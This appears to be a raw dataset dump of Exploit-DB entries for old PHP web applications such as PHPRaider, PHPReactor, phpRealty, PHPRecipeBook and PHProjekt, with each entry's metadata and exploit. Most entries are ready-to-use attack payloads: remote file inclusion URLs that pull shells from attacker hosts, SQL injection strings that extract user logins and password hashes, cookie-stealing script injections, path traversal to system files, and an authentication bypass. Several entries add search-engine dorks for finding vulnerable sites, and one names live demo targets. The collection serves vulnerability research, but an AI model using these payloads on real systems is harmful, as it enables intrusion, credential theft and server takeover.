deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5671
Description: PHPRaider 1.0.7 - 'PHPbb3.functions.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-05-24
Author: Kacak

Exploit:
< ------------------- header data start ------------------- >

#############################################################

# Application Name : PhpRaider Mod phpbb3

# Vulnerable Type : Remote File Include

# Google Keyword : Powered by phpRaider v1.0.7

# Infection : Ä°lgili site ve sunucuya eriÅŸim saÄŸlanabilir.

# Bug Fix Advice : Undefined deÄŸerler, tanÄ±mlanmalÄ±dÄ±r.

# author : KaCaK a.K.a Dr.Hack3r

# Error Code : include_once($pConfig_auth['phpbb_path'].'common.php');

Kacakizm Bir YaÅŸam Felsefesi

#############################################################

< ------------------- header data end of ------------------- >



< -- bug code start -- >

www.site.com/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL]

/path/authentication/phpbb3/phpbb3.functions.php?pConfig_auth[phpbb_path]=[SH3LL]

< -- bug code end of -- >

# milw0rm.com [2008-05-24]
Exploit-DB #11586
Description: phpRAINCHECK 1.0.1 - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-27
Author: cr4wl3r

Exploit:
##############################################################
##phpRAINCHECK <= 1.0.1 SQL Injection Vulnerability
##############################################################
Author: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
Download: http://sourceforge.net/projects/phpraincheck/files/
##############################################################
PoC:
 [phpRAINCHECK_path]/print_raincheck.php?id=[SQL]
##############################################################
Exploit-DB #21933
Description: PHPRank 1.8 - 'add.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-10
Author: Jedi/Sector One

Exploit:
source: https://www.securityfocus.com/bid/5945/info

phpRank is a freely available web site link sharing script. It is available for Unix, Linux, and Microsoft operating systems.

It has been reported that phpRank is vulnerable to cross-site scripting attacks. Under some circumstances, it is possible to force the rendering of arbitrary HTML and script code through the add.php portion of the phpRank package. This could allow the execution of potentially malicious script and HTML in the security context of a vulnerable site. 

http://example.com/phprank/add.php?page=add&spass=1&name=2&siteurl=3&email=%3Cscript%3Ealert(42)%3C/script%3E
Exploit-DB #21755
Description: PHPReactor 1.2.7 - Style Attribute HTML Injection
Type: webapps
Platform: php
Date: 2002-08-24
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5569/info

php(Reactor) does not sufficiently sanitize HTML from various fields (such as in the body of a message or in profile fields). It is possible to inject arbitrary HTML and script code into these fields.

An attacker may potentially exploit this situation to cause arbitrary HTML and script code to execute in the web client of a user of a vulnerable website. The attacker-supplied code will execute in the context of the vulnerable website. 

<b style="expression(alert(document.cookie))">
Exploit-DB #21930
Description: PHPReactor 1.2.7 pl1 - 'browse.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-10-10
Author: Arab VieruZ

Exploit:
source: https://www.securityfocus.com/bid/5939/info

php(Reactor) is prone to cross-site scripting attacks.

An attacker may create a malicious link to a php(Reactor) site which contains malicious HTML and script code. If this link is visited by a web user, the attacker-supplied code will execute in their web client, in the security context of the php(Reactor) site.

This may allow for theft of cookie-based authentication credentials from legitimate authenticated users. Other attacks are also possible.

This issue has been reported in php(Reactor) version 1.2.7pl1. Other versions may also be affected.

http://www.example.com/forums/browse.php?fid=3&tid=46&go=<script>JavaScript:alert('test');</script>
Exploit-DB #2095
Description: PhpReactor 1.2.7pl1 - 'pathtohomedir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-31
Author: CeNGiZ-HaN

Exploit:
###########################    www.system-defacers.org         ###############
#    Found By CeNGiZ-HaN cengiz-han@system-defacers.org
#    phpreactor 1.2.7 pl 1 pathtohomedir inclusion vulnerability
############################################################################
#    Vulnerable Code in editprofile.php
#      //INCLUDE DB FUNCTIONS
#   if(!defined("REACTOR_INC_DB")) { include($pathtohomedir."/inc/db.inc.php"); }
#   //INCLUDE LANGUAGE FUNCTIONS
#   if(!defined("REACTOR_INC_LANG")) { include($pathtohomedir."/inc/lang.inc.php"); }
#   //INCLUDE USERS FUNCTIONS
#   if(!defined("REACTOR_INC_USERS")) { include($pathtohomedir."/inc/users.inc.php"); }
#   //INCLUDE BBS FUNCTIONS
#   if(!defined("REACTOR_INC_BBS")) { include($pathtohomedir."/inc/bbs.inc.php"); }
#
#
#              http://[target]/[path]/editprofile.php?pathtohomedir=http://phpshell.txt?
#
##############################################################################
#
#        W W W . S Y S T E M - D E F A C E R S . O R G
#
##############################################################################

# milw0rm.com [2006-07-31]
Exploit-DB #4387
Description: phpRealty 0.02 - 'MGR' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2007-09-10
Author: QTRinux

Exploit:
|-------------------------------------------------------------------------------|
| |
| phpRealty 0.02  (MGR) Remote File include |
| |
| Script : phpRealty |
| Version : 0.02 |
| Authord : QTRinux |
| Contact : Qataro [at] hotmail [dot] com |
| Vendor : http://phprealty.budissy.com/phprealty/v0.02/ |
| DorK :   :(
|-------------------------------------------------------------------------------|
| Bug in : |
| manager/admin/index.php |
| manager/admin/p_ins.php  |
| manager/admin/u_ins.php  |
|-------------------------------------------------------------------------------|
| EXPLOIT : |
| |
| http://localhost/[ Path ]/manager/admin/index.php?MGR=[evilscript] |
| http://localhost/[ Path ]/manager/admin/p_ins.php?MGR=[evilscript] |
| http://localhost/[ Path ]/manager/admin/u_ins.php?MGR=[evilscript] |
|-------------------------------------------------------------------------------|
| Greetz : AlQaTaR!,MR.SH4R3S,Mo0oTeC,MaZaGi, |
| |
---------------------[ [Qatar Security Team] ]-------------------------

# milw0rm.com [2007-09-10]
Exploit-DB #6473
Description: phpRealty 0.3 - 'INC' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-09-17
Author: ka0x

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
phpRealty <= 0.03 (INC) Remote File Inclusion Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

$ Script: phpRealty
$ Version: <= 0.03
$ File affected: manager/static/view.php
$ Download: http://sourceforge.net/project/showfiles.php?group_id=204745


Found by ka0x <ka0x01 [at] gmail [dot] com>
D.O.M Labs - Security Researchers
- www.domlabs.org


vuln code:

-------------

11:	if(!isset($_GET['propID']) || !is_numeric($_GET['propID']) || empty($_GET['propID'])){
13:	return;


17:	include($INC."curr_conv.class.php");   // -------->>> Vuln Line!!
                                          // the var $INC isn't declared

-------------


Proof of Concept:
http://[host]/[phprealty-path]/manager/static/view.php?propID=0&INC= [ S H E L L ] ?


__EOF__

# milw0rm.com [2008-09-17]
Exploit-DB #8182
Description: PHPRecipeBook 2.24 - 'base_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-09
Author: d3b4g

Exploit:
[+] PHPRecipeBook 2.24 (_id)Remort SQL Injection Vulnerability
[-] 
[+] Discovered By d3b4g 
[+] script: http://phprecipebook.sourceforge.net/demo/phprecipebook/                 
[+] Greetz :  str0ke | Inerd | & friends
[-] Follow me on twitter www.twitter.com/schaba


About:
------>
PHPRecipeBook is a Web-based cookbook with the 
ability to create shopping lists from recipes selected.
The lists can be saved and later reloaded and edited. 
The shopping list also attempts to combine similar items
so that duplication does not occur. 



/* start

0x1 

Proof of concept 
-------------------------------------

Exploit:http:localhost.com[path]index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--

Demo:1 http://phprecipebook.sourceforge.net/demo/phprecipebook/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--

Demo:2 http://recipes.casetaintor.com/index.php?m=recipes&a=search&search=yes&course_id=5+union+all+select+1,2,concat(0x3a,@@version),4,5,6,7+from+security_users--


/* end

-------------------------------------
From Tiny Little island of Maldivies 
-------------------------------------

# milw0rm.com [2009-03-09]
Exploit-DB #8330
Description: PHPRecipeBook 2.39 - 'course_id' SQL Injection
Type: webapps
Platform: php
Date: 2009-03-31
Author: DarKdewiL

Exploit:
//////////////////////////////////////////////////////////////////////
////////////////////////////1923TURK - GRUP///////////////////////////
//////////////////////////////////////////////////////////////////////
**********************************************************************
[!] Script : PHPRecipeBook
[!] Verison : 2.39
[!] Download : http://sourceforge.net/projects/phprecipebook/

[-] Bugs : Remote SQL injection Exploit 
[-] Dork : inurl:"/index.php?m=" "PHPRecipeBook 2.39"
[-] Date : 31-03-09(19:33)
[+] Author : DarKdewiL
[+] GroupWeb : www.1923turk.biz
[-] Contact : darkdewil@1923turk.biz

[!] Note : Always use the time you have to finish your work.
  Never leave it to the last minute.
  Once time goes away, it never comes back

**********************************************************************
//////////////////////////////////////////////////////////////////////
**********************************************************************
[-- Bugs --]

(+)

/index.php?m=recipes&a=search&search=yes&course_id=[SQLEXP]

[-- SQL EXPLOIT --]

Username exploit : -7+union+select+1,user_login,3,4,5,6,7+from+security_users--
Password exploit : -7+union+select+1,user_password,3,4,5,6,7+from+security_users--

# milw0rm.com [2009-03-31]
Exploit-DB #27885
Description: PHPRemoteView - 'PRV.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-05-16
Author: Soot

Exploit:
source:  https://www.securityfocus.com/bid/17994/info

PhpRemoteView is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://victim/path/PRV.php?&c=v&d=[path]&f="><script>alert(/Soot/)</script>
http://victim/path/PRV.php?c=l&d="><script>alert(/Soot/)</script>
http://victim/path/PRV.php?c=setup&ref="><script>alert(/Soot/)</script>
http://victim/path/PRV.php?c=d&d=[path]
http://victim/path/PRV.php?c=d&d=[path]
Exploit-DB #4382
Description: PHPress 0.2.0 - 'adisplay.php?lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-09-08
Author: Nice Name Crew

Exploit:
:::::::::::::::::::::::::::::::::::::::::::::::::::.......................
::| \ | (_)          | \ | |                       / ____|                  
::|  \| |_  ___ ___  |  \| | __ _ _ __ ___   ___  | |     _ __ _____      __
::| . ` | |/ __/ _ \ | . ` |/ _` | '_ ` _ \ / _ \ | |    | '__/ _ \ \ /\ / /
::| |\  | | (_|  __/ | |\  | (_| | | | | | |  __/ | |____| | |  __/\ V  V / 
::|_| \_|_|\___\___| |_| \_|\__,_|_| |_| |_|\___|  \_____|_|  \___| \_/\_/
:::::::::::::::::::::::::::::We got the nicest name in the security scene!
::::::::Info::.
::Script: phpress 
::Version: 0.2.0 
::Homepage:http://sourceforge.net/projects/phpress/
::
:::::::::Details::.
::Type: Local_File_Inclusion
::Dork: allinurl:/phpress/
::Exploit: http://host/phpress/adisplay.php?lang=shell
::Exploit: http://host/phpress/adisplay.php?lang=../../etc/passwd
::
::Variable lang is not defined
::
::::::::::::::::::::::::::::::::.
:::::::::::Additional_Information::.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.
::Contact: naxx@chilloutzone.eu
::Website: none yet
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.

# milw0rm.com [2007-09-08]
Exploit-DB #24036
Description: PHProfession 2.5 - 'modules.php?jcode' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10190/info
  
Multiple vulnerabilities were reported to exist in phProfession, which is a third-party module for PostNuke. Path disclosure, cross-site scripting and SQL injection vulnerabilities were reported.
  
Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.
  
These issues were reported to exist in phProfession 2.5. Other versions may also be affected.

http://www.example.com/postnuke0726/modules.php?op=modload&name=phprofession&file=upload&jcode=[xss code here]
Exploit-DB #24034
Description: PHProfession 2.5 - 'modules.php?offset' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10190/info

Multiple vulnerabilities were reported to exist in phProfession, which is a third-party module for PostNuke. Path disclosure, cross-site scripting and SQL injection vulnerabilities were reported. 

Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.

These issues were reported to exist in phProfession 2.5. Other versions may also be affected.


http://www.example.com/postnuke0726/modules.php?op=modload&name=phprofession&file=index&offset=foobar
Exploit-DB #24035
Description: PHProfession 2.5 - 'upload.php' Direct Request Full Path Disclosure
Type: webapps
Platform: php
Date: 2004-04-23
Author: Janek Vind

Exploit:
source: https://www.securityfocus.com/bid/10190/info
 
Multiple vulnerabilities were reported to exist in phProfession, which is a third-party module for PostNuke. Path disclosure, cross-site scripting and SQL injection vulnerabilities were reported.
 
Exploitation of these issues may reveal sensitive information, allow for account hijacking, content manipulation and attacks against the underlying database.
 
These issues were reported to exist in phProfession 2.5. Other versions may also be affected.

http://www.example.com/postnuke0726/modules/phprofession/upload.php
Exploit-DB #28510
Description: PHProg 1.0 - 'index.php?album' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-11
Author: cdg393

Exploit:
source: https://www.securityfocus.com/bid/19957/info

PHProg is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and local file-include attacks. 

Version 1.0 of PHProg is reported vulnerable; other versions may be affected as well.

NOTE: This BID is being retired because it is a duplicate of BID 19942.

http://www.example.com/PHProg/?id=1&album=<script>alert('input')</script>
Exploit-DB #28511
Description: PHProg 1.0 - 'index.php?lang' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2006-09-11
Author: cdg393

Exploit:
source: https://www.securityfocus.com/bid/19957/info
 
PHProg is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data and may allow an attacker to carry out cross-site scripting and local file-include attacks. 
 
Version 1.0 of PHProg is reported vulnerable; other versions may be affected as well.
 
NOTE: This BID is being retired because it is a duplicate of BID 19942.

http://www.example.com/PHProg/index.php?lang=../../../../../../BOOT.INI%00
Exploit-DB #28505
Description: PHProg 1.0 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-09-11
Author: cdg393

Exploit:
source: https://www.securityfocus.com/bid/19942/info

PHProg is prone to multiple input-validation vulnerabilities because the application fails to sanitize user-supplied input. These issues include a cross-site scripting vulnerability and a local file-include vulnerability.

A successful exploit may allow unauthorized users to view files and to execute local scripts, execute arbitrary scripts within the context of the web browser, and steal cookie-based authentication credentials. Other attacks are also possible.

http://www.example.com/PHProg/?id=1&album=http://www.example.com 
http://www.example.com/PHProg/index.php?lang=http://www.example.com
Exploit-DB #21421
Description: PHProjekt 2.x/3.x - Authentication Bypass
Type: webapps
Platform: php
Date: 2002-04-25
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/4596/info

PHProjekt is a freely available, open source PHP Groupware package. It is actively maintained by the PHPProjekt Development Team. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

Some of the PHProjekt scripts are only intended to be accessed by users who have been authenticated. However, it has been reported that it is possible for an unauthenticated attacker to access these scripts via a specially crafted web request.

http://www.somehost.com/phprojekt/mail/mail_send.php/sms

where the extraneous "sms" is included to be passed to the $PHP_SELF variable as part of the PATH_INFO. This causes PHPProjekt to behave as though the attacker accessing the script is logged on to PHPProjekt as a legitimate user.
Exploit-DB #21343
Description: PHProjekt 3.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-03-13
Author: b0iler

Exploit:
source: https://www.securityfocus.com/bid/4284/info

PHProjekt is a freely available, open source PHP Groupware package. It is actively maintained by the PHProjekt Development Team. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

PHProjekt is prone to an issue which may allow an attacker to include arbitrary files located on a remote server. If the included file is a PHP script, this may allow for execution of arbitrary attacker-supplied code.

Successful exploitation depends partly on the configuration of PHP on the host running the vulnerable software. If 'all_url_fopen' is set to 'off' then exploitation of this issue may be limited. 

http://site.com/filemanager/filemanager_forms.php?lib_path=http://attacker.com/nasty/scripts
Exploit-DB #2190
Description: PHProjekt 5.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-15
Author: Kacper

Exploit:
/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: PHProjekt v. 5.1
- [Script site: http://www.phprojekt.com/
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
-          Contact: kacper1964@yahoo.pl
-                        or
-          http://www.devilteam.yum.pl
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Greetz: DragonHeart
- and all DEVIL TEAM Members :-)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
#Expl:

http://www.site.com/[PHProjekt_path]/lib/dbman_filter.inc.php?lib_path=[evil_scripts]

http://www.site.com/[PHProjekt_path]/lib/specialdays.php?path_pre=[evil_scripts]

#Pozdro dla wszystkich ;-)

# milw0rm.com [2006-08-15]
Exploit-DB #2235
Description: PHProjekt 6.1 - 'path_pre' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-21
Author: the master

Exploit:
########################################################################
#  Content management module for PHProjekt v0.6.1  Remote File Inclusion Vulnerability
#
#  Download: http://www.mariovaldez.net/software/cm_4p/files/cm4p_0.6.1.tar.gz
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#  http://[Target]/[Path]/cm_navigation-33.inc.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/cm_navigation.inc.php?path_pre=http://cmd.gif?
#  http://[Target]/[Path]/cm_summary.inc.php?path_pre=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-21]
Exploit-DB #28418
Description: PHProjekt Content Management Module 0.6.1 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-08-21
Author: the master

Exploit:
source: https://www.securityfocus.com/bid/19628/info

Multiple remote file-include vulnerabilities affect the Content Management module for PHProjekt because the application fails to properly sanitize user-supplied input before using it in a PHP 'include()' function call. 

An attacker may leverage these issues to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. 

These issues affect version 0.6.1; earlier versions may also be vulnerable.

http://www.example.com/[Path]/cm_lib.inc.php?path_pre=http://cmd.gif? 
http://www.example.com/[Path]/doc/br.edithelp.php?path_pre=http://cmd.gif? http://www.example.com/[Path]/doc/de.edithelp.php?path_pre=http://cmd.gif? http://www.example.com/[Path]/doc/ct.edithelp.php?path_pre=http://cmd.gif? 
http://www.example.com/[Path]/userrating.php?path_pre=http://cmd.gif? 
http://www.example.com/[Path]/listing.php?path_pre=http://cmd.gif?
Exploit-DB #50922
Description: PHProjekt PhpSimplyGest v1.3. - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2022-05-11
Author: Andrea Intilangelo

Exploit:
# Exploit Title: PHProjekt PhpSimplyGest v1.3.0 - Stored Cross-Site Scripting (XSS)
# Date: 2022-05-05
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: http://www.phprojekt.altervista.org (removed demo was at http://phprojekt.altervista.org/phpsimplygest130)
# Software Link: https://github.com/robyfofo/MyProjects (original PhpSimplyGest https://github.com/robyfofo/PhpSimplyGest now merged/renamed into MyProjects)
# Version: 1.3
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.32)
# CVE: CVE-2022-27308

# Description:

A stored cross-site scripting (XSS) vulnerability in PHProjekt PhpSimplyGest v1.3.0 (and related products from same vendor,
like "MyProjects") allows attacker to execute arbitrary web scripts or HTML.

Injecting persistent javascript code inside the title description (or content) while creating a project, todo, timecard,
estimates, report or finding, it will be triggered once page gets loaded.

# Steps to reproduce:

Click on Projects and add or edit an existing one,

Insert the following PoC inside the Title

   <<SCRIPT>alert("XSS here");//\<</SCRIPT>

Click on 'Send'.

If a user visits the website dashboard, as well as project summary page, the javascript code will be rendered.